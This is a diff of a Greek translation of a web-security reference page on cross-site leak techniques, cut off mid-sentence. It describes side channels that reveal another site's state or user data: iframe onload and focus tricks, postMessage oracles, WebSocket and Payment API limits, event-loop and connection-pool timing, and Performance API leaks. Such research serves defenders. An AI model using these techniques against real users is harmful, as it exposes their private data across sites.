Ο χρόνος που απαιτείται για να ανακτηθεί μια πηγή μπορεί να μετρηθεί χρησιμοποιώντας τα γεγονότα [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) και [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Το γεγονός **`beforeunload`** ενεργοποιείται όταν ο περιηγητής πρόκειται να πλοηγηθεί σε μια νέα σελίδα, ενώ το γεγονός **`unload`** συμβαίνει όταν η πλοήγηση πραγματοποιείται πραγματικά. Η χρονική διαφορά μεταξύ αυτών των δύο γεγονότων μπορεί να υπολογιστεί για να προσδιορίσει τη **διάρκεια που πέρασε ο περιηγητής ανακτώντας την πηγή**.
|
||||
Ο χρόνος που απαιτείται για να ανακτηθεί μια πηγή μπορεί να μετρηθεί χρησιμοποιώντας τα γεγονότα [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) και [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Το γεγονός **`beforeunload`** ενεργοποιείται όταν ο περιηγητής πρόκειται να πλοηγηθεί σε μια νέα σελίδα, ενώ το γεγονός **`unload`** συμβαίνει όταν η πλοήγηση πραγματοποιείται πραγματικά. Η χρονική διαφορά μεταξύ αυτών των δύο γεγονότων μπορεί να υπολογιστεί για να προσδιοριστεί η **διάρκεια που δαπάνησε ο περιηγητής για να ανακτήσει την πηγή**.
|
||||
|
||||
### Χρόνος Sandboxed Frame + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||||
|
||||
@ -131,7 +131,7 @@ xs-search/performance.now-+-force-heavy-task.md
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Περιεχόμενο Σελίδας
|
||||
- **More info**:
|
||||
- **Summary**: Αν μπορείτε να προκαλέσετε σφάλμα στη σελίδα όταν προσπελάσετε το σωστό περιεχόμενο και να την φορτώσετε σωστά όταν προσπελάσετε οποιοδήποτε περιεχόμενο, τότε μπορείτε να δημιουργήσετε έναν βρόχο για να εξάγετε όλες τις πληροφορίες χωρίς να μετρήσετε τον χρόνο.
|
||||
- **Summary**: Αν μπορείτε να προκαλέσετε σφάλμα στη σελίδα όταν προσπελαστεί το σωστό περιεχόμενο και να την κάνετε να φορτώσει σωστά όταν προσπελαστεί οποιοδήποτε περιεχόμενο, τότε μπορείτε να δημιουργήσετε έναν βρόχο για να εξάγετε όλες τις πληροφορίες χωρίς να μετράτε τον χρόνο.
|
||||
- **Code Example**:
|
||||
|
||||
Υποθέστε ότι μπορείτε να **εισάγετε** τη **σελίδα** που έχει το **μυστικό** περιεχόμενο **μέσα σε ένα Iframe**.
|
||||
@ -145,14 +145,14 @@ xs-search/performance.now-+-force-heavy-task.md
|
||||
|
||||
Αν η πρώτη διεύθυνση URL **φορτώθηκε επιτυχώς**, τότε, όταν **αλλάξετε** το **hash** μέρος της διεύθυνσης URL, το **onload** event **δεν θα ενεργοποιηθεί** ξανά. Αλλά **αν** η σελίδα είχε κάποιο είδος **σφάλματος** κατά τη **φόρτωση**, τότε, το **onload** event θα **ενεργοποιηθεί ξανά**.
|
||||
|
||||
Στη συνέχεια, μπορείτε να **διακρίνετε** μεταξύ μιας **σωστά** φορτωμένης σελίδας ή μιας σελίδας που έχει ένα **σφάλμα** όταν προσπελάζεται.
|
||||
Στη συνέχεια, μπορείτε να **διακρίνετε μεταξύ** μιας **σωστά** φορτωμένης σελίδας ή μιας σελίδας που έχει ένα **σφάλμα** όταν προσπελαστεί.
|
||||
|
||||
### Javascript Execution
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Περιεχόμενο Σελίδας
|
||||
- **More info**:
|
||||
- **Summary:** Αν η **σελίδα** **επιστρέφει** το **ευαίσθητο** περιεχόμενο, **ή** ένα **περιεχόμενο** που μπορεί να **ελεγχθεί** από τον χρήστη. Ο χρήστης θα μπορούσε να ορίσει **έγκυρο JS κώδικα στην αρνητική περίπτωση**, να **φορτώνει** κάθε προσπάθεια μέσα σε **`<script>`** ετικέτες, έτσι σε **αρνητικές** περιπτώσεις ο **κώδικας** των επιτιθεμένων **εκτελείται**, και σε **θετικές** περιπτώσεις **τίποτα** δεν θα εκτελείται.
|
||||
- **Summary:** Αν η **σελίδα** **επιστρέφει** το **ευαίσθητο** περιεχόμενο, **ή** ένα **περιεχόμενο** που μπορεί να **ελεγχθεί** από τον χρήστη. Ο χρήστης θα μπορούσε να ορίσει **έγκυρο JS κώδικα στην αρνητική περίπτωση**, να **φορτώνει** κάθε προσπάθεια μέσα σε **`<script>`** ετικέτες, έτσι σε **αρνητικές** περιπτώσεις ο **κώδικας** των επιτιθεμένων **εκτελείται,** και σε **θετικές** περιπτώσεις **τίποτα** δεν θα εκτελείται.
|
||||
- **Code Example:**
|
||||
|
||||
{{#ref}}
|
||||
@ -177,7 +177,7 @@ xs-search/javascript-execution-xs-leak.md
|
||||
- **Summary**: Διαρροή ευαίσθητων δεδομένων από το id ή το όνομα χαρακτηριστικό.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
|
||||
Είναι δυνατόν να **φορτώσετε μια σελίδα** μέσα σε ένα **iframe** και να χρησιμοποιήσετε το **`#id_value`** για να κάνετε τη σελίδα **να εστιάσει στο στοιχείο** του iframe με το υποδεικνυόμενο αν, τότε αν ένα σήμα **`onblur`** ενεργοποιηθεί, το στοιχείο ID υπάρχει.\
|
||||
Είναι δυνατόν να **φορτώσετε μια σελίδα** μέσα σε ένα **iframe** και να χρησιμοποιήσετε το **`#id_value`** για να κάνετε τη σελίδα να **εστιάσει στο στοιχείο** του iframe με το υποδεικνυόμενο id, στη συνέχεια αν ένα σήμα **`onblur`** ενεργοποιηθεί, το στοιχείο ID υπάρχει.\
|
||||
Μπορείτε να εκτελέσετε την ίδια επίθεση με **`portal`** ετικέτες.
|
||||
|
||||
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
@ -185,10 +185,10 @@ xs-search/javascript-execution-xs-leak.md
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Χρήση API
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
||||
- **Summary**: Συγκέντρωση ευαίσθητων πληροφοριών από ένα postMessage ή χρήση της παρουσίας των postMessages ως οράκλας για να γνωρίζετε την κατάσταση του χρήστη στη σελίδα
|
||||
- **Summary**: Συγκέντρωση ευαίσθητων πληροφοριών από ένα postMessage ή χρήση της παρουσίας των postMessages ως oracle για να γνωρίζετε την κατάσταση του χρήστη στη σελίδα
|
||||
- **Code Example**: `Οποιοσδήποτε κώδικας ακούει για όλα τα postMessages.`
|
||||
|
||||
Οι εφαρμογές χρησιμοποιούν συχνά [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) για να επικοινωνούν μεταξύ διαφορετικών προελεύσεων. Ωστόσο, αυτή η μέθοδος μπορεί ακούσια να εκθέσει **ευαίσθητες πληροφορίες** αν η παράμετρος `targetOrigin` δεν καθοριστεί σωστά, επιτρέποντας σε οποιοδήποτε παράθυρο να λάβει τα μηνύματα. Επιπλέον, η απλή πράξη λήψης ενός μηνύματος μπορεί να λειτουργήσει ως **οράκλας**; για παράδειγμα, ορισμένα μηνύματα μπορεί να αποστέλλονται μόνο σε χρήστες που είναι συνδεδεμένοι. Επομένως, η παρουσία ή η απουσία αυτών των μηνυμάτων μπορεί να αποκαλύψει πληροφορίες σχετικά με την κατάσταση ή την ταυτότητα του χρήστη, όπως αν είναι πιστοποιημένος ή όχι.
|
||||
Οι εφαρμογές χρησιμοποιούν συχνά [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) για να επικοινωνούν μεταξύ διαφορετικών προελεύσεων. Ωστόσο, αυτή η μέθοδος μπορεί να εκθέσει ακούσια **ευαίσθητες πληροφορίες** αν η παράμετρος `targetOrigin` δεν καθοριστεί σωστά, επιτρέποντας σε οποιοδήποτε παράθυρο να λάβει τα μηνύματα. Επιπλέον, η απλή πράξη λήψης ενός μηνύματος μπορεί να λειτουργήσει ως **oracle**; για παράδειγμα, ορισμένα μηνύματα μπορεί να αποστέλλονται μόνο σε χρήστες που είναι συνδεδεμένοι. Επομένως, η παρουσία ή η απουσία αυτών των μηνυμάτων μπορεί να αποκαλύψει πληροφορίες σχετικά με την κατάσταση ή την ταυτότητα του χρήστη, όπως αν είναι πιστοποιημένος ή όχι.
|
||||
|
||||
## Global Limits Techniques
|
||||
|
||||
@ -202,7 +202,7 @@ xs-search/javascript-execution-xs-leak.md
|
||||
|
||||
Είναι δυνατόν να προσδιορίσετε αν, και πόσες, **συνδέσεις WebSocket χρησιμοποιεί μια στοχευμένη σελίδα**. Αυτό επιτρέπει σε έναν επιτιθέμενο να ανιχνεύσει τις καταστάσεις εφαρμογής και να διαρρεύσει πληροφορίες που σχετίζονται με τον αριθμό των συνδέσεων WebSocket.
|
||||
|
||||
Αν μια **προέλευση** χρησιμοποιεί το **μέγιστο ποσό αντικειμένων σύνδεσης WebSocket**, ανεξάρτητα από την κατάσταση των συνδέσεών τους, η δημιουργία **νέων αντικειμένων θα έχει ως αποτέλεσμα εξαιρέσεις JavaScript**. Για να εκτελέσετε αυτήν την επίθεση, η ιστοσελίδα του επιτιθέμενου ανοίγει την στοχευμένη ιστοσελίδα σε ένα αναδυόμενο παράθυρο ή iframe και στη συνέχεια, αφού έχει φορτωθεί η στοχευμένη ιστοσελίδα, προσπαθεί να δημιουργήσει τον μέγιστο αριθμό δυνατών συνδέσεων WebSocket. Ο **αριθμός των εκτιθέμενων εξαιρέσεων** είναι ο **αριθμός των συνδέσεων WebSocket που χρησιμοποιούνται από την στοχευμένη ιστοσελίδα**.
|
||||
Αν μια **προέλευση** χρησιμοποιεί το **μέγιστο ποσό αντικειμένων σύνδεσης WebSocket**, ανεξάρτητα από την κατάσταση των συνδέσεών τους, η δημιουργία **νέων αντικειμένων θα έχει ως αποτέλεσμα εξαιρέσεις JavaScript**. Για να εκτελέσετε αυτήν την επίθεση, η ιστοσελίδα του επιτιθέμενου ανοίγει την στοχευμένη ιστοσελίδα σε ένα αναδυόμενο παράθυρο ή iframe και στη συνέχεια, αφού έχει φορτωθεί η στοχευμένη ιστοσελίδα, προσπαθεί να δημιουργήσει τον μέγιστο αριθμό δυνατών συνδέσεων WebSocket. Ο **αριθμός των εκτιναγμένων εξαιρέσεων** είναι ο **αριθμός των συνδέσεων WebSocket που χρησιμοποιούνται από την στοχευμένη ιστοσελίδα**.
|
||||
|
||||
### Payment API
|
||||
|
||||
@ -214,7 +214,7 @@ xs-search/javascript-execution-xs-leak.md
|
||||
|
||||
Αυτή η διαρροή XS επιτρέπει σε έναν επιτιθέμενο να **ανιχνεύσει πότε μια διασυνοριακή σελίδα ξεκινά ένα αίτημα πληρωμής**.
|
||||
|
||||
Επειδή **μόνο ένα αίτημα πληρωμής μπορεί να είναι ενεργό** τη φορά, αν η στοχευμένη ιστοσελίδα χρησιμοποιεί το Payment Request API, οποιαδήποτε περαιτέρω προσπάθεια να χρησιμοποιήσει αυτό το API θα αποτύχει** και θα προκαλέσει μια **εξαίρεση JavaScript**. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό προσπαθώντας **περιοδικά να εμφανίσει το UI του Payment API**. Αν μια προσπάθεια προκαλέσει μια εξαίρεση, η στοχευμένη ιστοσελίδα το χρησιμοποιεί αυτή τη στιγμή. Ο επιτιθέμενος μπορεί να κρύψει αυτές τις περιοδικές προσπάθειες κλείνοντας αμέσως το UI μετά τη δημιουργία του.
|
||||
Επειδή **μόνο ένα αίτημα πληρωμής μπορεί να είναι ενεργό** τη φορά, αν η στοχευμένη ιστοσελίδα χρησιμοποιεί το Payment Request API, οποιαδήποτε περαιτέρω προσπάθεια να χρησιμοποιήσει αυτό το API θα αποτύχει** και θα προκαλέσει μια **εξαίρεση JavaScript**. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό προσπαθώντας **περιοδικά να εμφανίσει το UI του Payment API**. Αν μια προσπάθεια προκαλέσει εξαίρεση, η στοχευμένη ιστοσελίδα το χρησιμοποιεί αυτή τη στιγμή. Ο επιτιθέμενος μπορεί να κρύψει αυτές τις περιοδικές προσπάθειες κλείνοντας αμέσως το UI μετά τη δημιουργία του.
|
||||
|
||||
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
@ -231,20 +231,20 @@ xs-search/event-loop-blocking-+-lazy-images.md
|
||||
Η JavaScript λειτουργεί σε ένα [μονόνημα event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) μοντέλο ταυτόχρονης εκτέλεσης, υποδηλώνοντας ότι **μπορεί να εκτελεί μόνο μία εργασία τη φορά**. Αυτή η χαρακτηριστική μπορεί να εκμεταλλευτεί για να μετρήσει **πόσο χρόνο χρειάζεται ο κώδικας από μια διαφορετική προέλευση για να εκτελεστεί**. Ένας επιτιθέμενος μπορεί να μετρήσει τον χρόνο εκτέλεσης του δικού του κώδικα στο event loop αποστέλλοντας συνεχώς γεγονότα με σταθερές ιδιότητες. Αυτά τα γεγονότα θα επεξεργαστούν όταν η δεξαμενή γεγονότων είναι άδεια. Αν και άλλες προελεύσεις αποστέλλουν επίσης γεγονότα στην ίδια δεξαμενή, ένας **επιτιθέμενος μπορεί να συμπεράνει τον χρόνο που χρειάζεται για να εκτελούνται αυτά τα εξωτερικά γεγονότα παρατηρώντας καθυστερήσεις στην εκτέλεση των δικών του εργασιών**. Αυτή η μέθοδος παρακολούθησης του event loop για καθυστερήσεις μπορεί να αποκαλύψει τον χρόνο εκτέλεσης του κώδικα από διαφορετικές προελεύσεις, ενδεχομένως εκθέτοντας ευαίσθητες πληροφορίες.
|
||||
|
||||
> [!WARNING]
|
||||
> Σε έναν χρονισμό εκτέλεσης είναι δυνατόν να **εξαλείψετε** **παράγοντες δικτύου** για να αποκτήσετε **πιο ακριβείς μετρήσεις**. Για παράδειγμα, φορτώνοντας τους πόρους που χρησιμοποιούνται από τη σελίδα πριν την φορτώσετε.
|
||||
> Σε έναν χρονισμό εκτέλεσης είναι δυνατόν να **εξαλείψετε** **παράγοντες δικτύου** για να αποκτήσετε **πιο ακριβείς μετρήσεις**. Για παράδειγμα, φορτώνοντας τους πόρους που χρησιμοποιούνται από τη σελίδα πριν τη φορτώσετε.
|
||||
|
||||
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||||
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Χρονισμός (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Summary:** Μια μέθοδος για να μετρήσετε τον χρόνο εκτέλεσης μιας διαδικασίας ιστού περιλαμβάνει σκόπιμα το μπλοκάρισμα του event loop ενός νήματος και στη συνέχεια το χρονισμό **πόσο χρόνο χρειάζεται για να γίνει διαθέσιμο ξανά το event loop**. Εισάγοντας μια μπλοκαρισμένη λειτουργία (όπως μια μακρά υπολογιστική διαδικασία ή μια συγχρονισμένη κλήση API) στο event loop και παρακολουθώντας τον χρόνο που χρειάζεται για να αρχίσει η εκτέλεση του επόμενου κώδικα, μπορεί κανείς να συμπεράνει τη διάρκεια των εργασιών που εκτελούνταν στο event loop κατά τη διάρκεια της μπλοκαρισμένης περιόδου. Αυτή η τεχνική εκμεταλλεύεται τη μονόνημη φύση του event loop της JavaScript, όπου οι εργασίες εκτελούνται διαδοχικά, και μπορεί να παρέχει πληροφορίες σχετικά με την απόδοση ή τη συμπεριφορά άλλων λειτουργιών που μοιράζονται το ίδιο νήμα.
|
||||
- **Summary:** Μία μέθοδος για να μετρήσετε τον χρόνο εκτέλεσης μιας διαδικασίας ιστού περιλαμβάνει σκόπιμα το μπλοκάρισμα του event loop ενός νήματος και στη συνέχεια το χρονισμό **πόσο χρόνο χρειάζεται για να γίνει διαθέσιμο ξανά το event loop**. Εισάγοντας μια μπλοκαρισμένη λειτουργία (όπως μια μακρά υπολογιστική διαδικασία ή μια συγχρονισμένη κλήση API) στο event loop και παρακολουθώντας τον χρόνο που χρειάζεται για να αρχίσει η εκτέλεση του επόμενου κώδικα, μπορεί κανείς να συμπεράνει τη διάρκεια των εργασιών που εκτελούνταν στο event loop κατά τη διάρκεια της μπλοκαρισμένης περιόδου. Αυτή η τεχνική εκμεταλλεύεται τη μονόνημη φύση του event loop της JavaScript, όπου οι εργασίες εκτελούνται διαδοχικά, και μπορεί να παρέχει πληροφορίες σχετικά με την απόδοση ή τη συμπεριφορά άλλων λειτουργιών που μοιράζονται το ίδιο νήμα.
|
||||
- **Code Example**:
|
||||
|
||||
Ένα σημαντικό πλεονέκτημα της τεχνικής μέτρησης του χρόνου εκτέλεσης κλειδώνοντας το event loop είναι η δυνατότητά της να παρακάμψει **Site Isolation**. **Site Isolation** είναι μια λειτουργία ασφαλείας που χωρίζει διαφορετικές ιστοσελίδες σε ξεχωριστές διαδικασίες, με στόχο να αποτρέψει κακόβουλες ιστοσελίδες από το να έχουν άμεση πρόσβαση σε ευαίσθητα δεδομένα από άλλες ιστοσελίδες. Ωστόσο, επηρεάζοντας τον χρονισμό εκτέλεσης μιας άλλης προέλευσης μέσω του κοινόχρηστου event loop, ένας επιτιθέμενος μπορεί έμμεσα να εξάγει πληροφορίες σχετικά με τις δραστηριότητες αυτής της προέλευσης. Αυτή η μέθοδος δεν βασίζεται σε άμεση πρόσβαση στα δεδομένα της άλλης προέλευσης αλλά παρατηρεί την επίδραση των δραστηριοτήτων αυτής της προέλευσης στο κοινόχρηστο event loop, αποφεύγοντας έτσι τα προστατευτικά εμπόδια που έχουν καθοριστεί από το **Site Isolation**.
|
||||
|
||||
> [!WARNING]
|
||||
> Σε έναν χρονισμό εκτέλεσης είναι δυνατόν να **εξαλείψετε** **παράγοντες δικτύου** για να αποκτήσετε **πιο ακριβείς μετρήσεις**. Για παράδειγμα, φορτώνοντας τους πόρους που χρησιμοποιούνται από τη σελίδα πριν την φορτώσετε.
|
||||
> Σε έναν χρονισμό εκτέλεσης είναι δυνατόν να **εξαλείψετε** **παράγοντες δικτύου** για να αποκτήσετε **πιο ακριβείς μετρήσεις**. Για παράδειγμα, φορτώνοντας τους πόρους που χρησιμοποιούνται από τη σελίδα πριν τη φορτώσετε.
|
||||
|
||||
### Connection Pool
|
||||
|
||||
@ -261,9 +261,9 @@ xs-search/connection-pool-example.md
|
||||
Οι περιηγητές χρησιμοποιούν υποδοχές για την επικοινωνία με τον διακομιστή, αλλά λόγω των περιορισμένων πόρων του λειτουργικού συστήματος και του υλικού, **οι περιηγητές υποχρεούνται να επιβάλλουν ένα όριο** στον αριθμό των ταυτόχρονων υποδοχών. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτόν τον περιορισμό μέσω των εξής βημάτων:
|
||||
|
||||
1. Προσδιορίστε το όριο υποδοχών του περιηγητή, για παράδειγμα, 256 παγκόσμιες υποδοχές.
|
||||
2. Καταλάβετε 255 υποδοχές για παρατεταμένη διάρκεια ξεκινώντας 255 αιτήματα σε διάφορους διακομιστές, σχεδιασμένα να κρατούν τις συνδέσεις ανοιχτές χωρίς να ολοκληρώνονται.
|
||||
2. Καταλάβετε 255 υποδοχές για παρατεταμένη διάρκεια ξεκινώντας 255 αιτήματα σε διάφορους διακομιστές, σχεδιασμένα να διατηρούν τις συνδέσεις ανοιχτές χωρίς να ολοκληρώνονται.
|
||||
3. Χρησιμοποιήστε την 256η υποδοχή για να στείλετε ένα αίτημα στη στοχευμένη σελίδα.
|
||||
4. Προσπαθήστε να κάνετε ένα 257ο αίτημα σε διαφορετικό διακομιστή. Δεδομένου ότι όλες οι υποδοχές είναι σε χρήση (σύμφωνα με τα βήματα 2 και 3), αυτό το αίτημα θα είναι σε αναμονή μέχρι να γίνει διαθέσιμη μια υποδοχή. Η καθυστέρηση πριν προχωρήσει αυτό το αίτημα παρέχει στον επιτιθέμενο πληροφορίες χρονισμού σχετικά με τη δικτυακή δραστηριότητα που σχετίζεται με την 256η υποδοχή (την υποδοχή της στοχευμένης σελίδας). Αυτή η συμπερασματική είναι δυνατή επειδή οι 255 υποδοχές από το βήμα 2 είναι ακόμα απασχολημένες, υποδηλώνοντας ότι οποιαδήποτε νέα διαθέσιμη υποδοχή πρέπει να είναι αυτή που απελευθερώθηκε από το βήμα 3. Ο χρόνος που χρειάζεται για να γίνει διαθέσιμη η 256η υποδοχή συνδέεται άμεσα με τον χρόνο που απαιτείται για να ολοκληρωθεί το αίτημα στη στοχευμένη σελίδα.
|
||||
4. Προσπαθήστε να κάνετε ένα 257ο αίτημα σε διαφορετικό διακομιστή. Δεδομένου ότι όλες οι υποδοχές είναι σε χρήση (σύμφωνα με τα βήματα 2 και 3), αυτό το αίτημα θα τεθεί σε ουρά μέχρι να γίνει διαθέσιμη μια υποδοχή. Η καθυστέρηση πριν από την εκτέλεση αυτού του αιτήματος παρέχει στον επιτιθέμενο πληροφορίες χρονισμού σχετικά με τη δικτυακή δραστηριότητα που σχετίζεται με την υποδοχή της 256ης (την υποδοχή της στοχευμένης σελίδας). Αυτή η συμπερασματική είναι δυνατή επειδή οι 255 υποδοχές από το βήμα 2 είναι ακόμα απασχολημένες, υποδηλώνοντας ότι οποιαδήποτε νέα διαθέσιμη υποδοχή πρέπει να είναι αυτή που απελευθερώθηκε από το βήμα 3. Ο χρόνος που χρειάζεται για να γίνει διαθέσιμη η 256η υποδοχή συνδέεται άμεσα με τον χρόνο που απαιτείται για να ολοκληρωθεί το αίτημα στη στοχευμένη σελίδα.
|
||||
|
||||
Για περισσότερες πληροφορίες: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
@ -272,7 +272,7 @@ xs-search/connection-pool-example.md
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: Χρονισμός (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
|
||||
- **More info**:
|
||||
- **Summary:** Είναι όπως η προηγούμενη τεχνική αλλά αντί να χρησιμοποιεί όλες τις υποδοχές, το Google **Chrome** θέτει ένα όριο **6 ταυτόχρονων αιτημάτων στην ίδια προέλευση**. Αν **μπλοκάρουμε 5** και στη συνέχεια **εκκινήσουμε ένα 6ο** αίτημα μπορούμε να **χρονίσουμε** το και αν καταφέραμε να κάνουμε τη **σελίδα θύμα να στείλει** περισσότερα **αιτήματα** στο ίδιο endpoint για να ανιχνεύσουμε μια **κατάσταση** της **σελίδας**, το **6ο αίτημα** θα χρειαστεί **περισσότερο** χρόνο και μπορούμε να το ανιχνεύσουμε.
|
||||
- **Summary:** Είναι όπως η προηγούμενη τεχνική αλλά αντί να χρησιμοποιεί όλες τις υποδοχές, το Google **Chrome** θέτει ένα όριο **6 ταυτόχρονων αιτημάτων στην ίδια προέλευση**. Αν **μπλοκάρουμε 5** και στη συνέχεια **εκκινήσουμε ένα 6ο** αίτημα μπορούμε να **χρονίσουμε** το και αν καταφέρουμε να κάνουμε τη **σελίδα θύμα να στείλει** περισσότερα **αιτήματα** στο ίδιο endpoint για να ανιχνεύσουμε μια **κατάσταση** της **σελίδας**, το **6ο αίτημα** θα χρειαστεί **περισσότερο χρόνο** και μπορούμε να το ανιχνεύσουμε.
|
||||
|
||||
## Performance API Techniques
|
||||
|
||||
@ -280,7 +280,7 @@ xs-search/connection-pool-example.md
|
||||
|
||||
Αυτή η πλούσια συλλογή δεδομένων μπορεί να ανακτηθεί μέσω μεθόδων όπως [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ή [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), παρέχοντας μια ολοκληρωμένη εικόνα των πληροφοριών που σχετίζονται με την απόδοση. Επιπλέον, το API διευκολύνει τη μέτρηση των χρόνων εκτέλεσης υπολογίζοντας τη διαφορά μεταξύ των χρονικών σημείων που αποκτώνται από [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Ωστόσο, αξίζει να σημειωθεί ότι για ορισμένες λειτουργίες σε περιηγητές όπως το Chrome, η ακρίβεια του `performance.now()` μπορεί να περιορίζεται σε χιλιοστά του δευτερολέπτου, γεγονός που μπορεί να επηρεάσει την λεπτομέρεια των μετρήσεων χρονισμού.
|
||||
|
||||
Πέρα από τις μετρήσεις χρονισμού, το Performance API μπορεί να αξιοποιηθεί για πληροφορίες σχετικές με την ασφάλεια. Για παράδειγμα, η παρουσία ή η απουσία σελίδων στο αντικείμενο `performance` στο Chrome μπορεί να υποδηλώνει την εφαρμογή του `X-Frame-Options`. Συγκεκριμένα, αν μια σελίδα αποκλείεται από την απόδοση σε ένα πλαίσιο λόγω του `X-Frame-Options`, δεν θα καταγραφεί στο αντικείμενο `performance`, παρέχοντας μια λεπτή ένδειξη σχετικά με τις πολιτικές πλαισίωσης της σελίδας.
|
||||
Πέρα από τις μετρήσεις χρονισμού, το Performance API μπορεί να αξιοποιηθεί για πληροφορίες που σχετίζονται με την ασφάλεια. Για παράδειγμα, η παρουσία ή η απουσία σελίδων στο αντικείμενο `performance` στο Chrome μπορεί να υποδηλώνει την εφαρμογή του `X-Frame-Options`. Συγκεκριμένα, αν μια σελίδα αποκλείεται από την απόδοση σε ένα πλαίσιο λόγω του `X-Frame-Options`, δεν θα καταγραφεί στο αντικείμενο `performance`, παρέχοντας μια λεπτή ένδειξη σχετικά με τις πολιτικές πλαισίωσης της σελίδας.
|
||||
|
||||
### Error Leak
|
||||
|
||||
@ -300,7 +300,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** Λόγω ενός σφάλματος του περιηγητή, τα αιτήματα που έχουν ως αποτέλεσμα σφάλματα φορτώνονται δύο φορές.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
|
||||
Στην προηγούμενη τεχνική εντοπίστηκαν επίσης δύο περιπτώσεις όπου σφάλματα του περιηγητή στο GC οδηγούν σε **πόρους που φορτώνονται δύο φορές όταν αποτυγχάνουν να φορτωθούν**. Αυτό θα έχει ως αποτέλεσμα πολλαπλές εισόδους στο Performance API και μπορεί έτσι να ανιχνευθεί.
|
||||
Στην προηγούμενη τεχνική εντοπίστηκαν επίσης δύο περιπτώσεις όπου σφάλματα του περιηγητή στο GC οδηγούν σε **πόρους που φορτώνονται δύο φορές όταν αποτυγχάνουν να φορτωθούν**. Αυτό θα έχει ως αποτέλεσμα πολλές εισόδους στο Performance API και μπορεί έτσι να ανιχνευθεί.
|
||||
|
||||
### Request Merging Error
|
||||
|
||||
@ -317,7 +317,7 @@ xs-search/connection-pool-example.md
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Περιεχόμενο Σελίδας
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Οι κενές απαντήσεις δεν δημιουργούν εισόδους χρονισμού πόρου.
|
||||
- **Summary:** Οι κενές απαντήσεις δεν δημιουργούν εισόδους χρονισμού πόρων.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να ανιχνεύσει αν ένα αίτημα είχε ως αποτέλεσμα ένα κενό σώμα HTTP επειδή οι **κενές σελίδες δεν δημιουργούν μια είσοδο απόδοσης σε ορισμένους περιηγητές**.
|
||||
@ -330,7 +330,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** Χρησιμοποιώντας τον XSS Auditor στις Ασφαλιστικές Δηλώσεις, οι επιτιθέμενοι μπορούν να ανιχνεύσουν συγκεκριμένα στοιχεία ιστοσελίδας παρατηρώντας τις αλλαγές στις απαντήσεις όταν οι κατασκευασμένες payloads ενεργοποιούν τον μηχανισμό φιλτραρίσματος του auditor.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
Στις Ασφαλιστικές Δηλώσεις (SA), ο XSS Auditor, αρχικά προορισμένος να αποτρέπει επιθέσεις Cross-Site Scripting (XSS), μπορεί παραδόξως να εκμεταλλευτεί για να διαρρεύσει ευαίσθητες πληροφορίες. Αν και αυτή η ενσωματωμένη λειτουργία αφαιρέθηκε από το Google Chrome (GC), είναι ακόμα παρούσα στο SA. Το 2013, οι Braun και Heiderich απέδειξαν ότι ο XSS Auditor θα μπορούσε ακούσια να αποκλείσει νόμιμα σενάρια, οδηγώντας σε ψευδώς θετικά. Βασισμένοι σε αυτό, οι ερευνητές ανέπτυξαν τεχνικές για την εξαγωγή πληροφοριών και την ανίχνευση συγκεκριμένου περιεχομένου σε διασυνοριακές σελίδες, μια έννοια γνωστή ως XS-Leaks, που αναφέρθηκε αρχικά από τον Terada και αναλύθηκε από τον Heyes σε μια ανάρτηση ιστολογίου. Αν και αυτές οι τεχνικές ήταν συγκεκριμένες για τον XSS Auditor στο GC, ανακαλύφθηκε ότι στο SA, οι σελίδες που 